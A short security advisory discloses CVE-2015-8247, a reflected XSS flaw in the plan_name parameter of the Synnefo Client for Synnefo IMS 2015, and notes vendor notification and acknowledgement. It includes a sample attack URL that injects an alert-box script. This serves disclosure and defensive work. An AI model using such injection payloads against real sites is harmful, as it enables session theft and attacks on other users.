XSS Vulnerability in Synnefo Client for Synnefo IMS 2015 - CVE-2015-8247

Information
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#Vulnerability type: Cross Site Scripting (XSS)
#Vendor: http://www.synnefoims.com/
#Product: Synnefo Client for Synnefo Internet Management Software
(IMS) 2015 (http://www.synnefoims.com/products.html)


CVE Reference:
==============================
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CVE-2015-8247


Technical Details:
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A reflected cross site scripting (XSS) vulnerability was found in synnefoclient
for Synnefo IMS 2015. The vulnerability has been discovered in the plan_name
parameter on the request to fetch the package details for the logged in user.
Request method is GET.


Vulnerable Parameter
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plan_name


Sample Payload with URL
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http://<domain_name>/synnefoclient/packagehistory/listusagesdata?active_plan=1&uname=<username>&st_date=2015-10-01+08%3A39%3A32&end_date=2015-10-31+23%3A59%3A59&plan_name=<script>alert(‘xss’);</script>


Exploitation Technique:
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Remote


Severity Level:
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High


Timeline
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-Vendor notified - Tue, 27 Oct 2015 11:32:21 +0530

-Vendor responded and acknowledged - Tue, 27 Oct 2015 12:27:50 +0530


Credits & Authors
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Aravind C Ajayan